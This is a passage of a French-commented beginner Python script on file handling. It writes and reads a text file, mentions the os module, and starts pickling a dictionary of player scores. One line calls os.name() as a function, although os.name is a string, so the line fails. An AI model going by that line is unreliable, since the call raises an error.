コード例 #45
0
ファイル: fichiers.py プロジェクト: erfaliel/learn_python
    print("J'ai écris {} caractères".format(nb_char_insterted))
# la méthode write prend en entrée que des chaînes de caractères.
# Elle retourne le nombre de caractères insérés dans le fichier.
# Si pour mémoriser des nombres (ex: score), il faudra au préalable
# faire une conversion en chaine de caractères.


# Je relis mon fichier
with open("fichier_py.txt", "r") as mon_fichier:
    contenu = mon_fichier.read()
    print("Lecture du contenu du fichier en mode «with»")
    print(contenu)
# le module os a plein de méthode pour travailler sur le fichiers.
# variable de l'environnement
os.environ
os.name()
# os.chown(fd, uid, gid)

# Enregistrer des objets dans des fichiers
# nous allons utiliser le module pickle.
# on peut enregistrer un objet par fichier ou les mettre les uns à la suite des autres dans un seul.
import pickle
scores = {
    'joueur 1' :  5,
    'joueur 2' : 35,
    'joueur 3' : 20,
    'joueur 4' :  2
}
# Enregistrement de l'objet:
with open('donnees', 'wb') as fichier_contenant_objet:
    mon_pickler = pickle.Pickler(fichier_contenant_objet)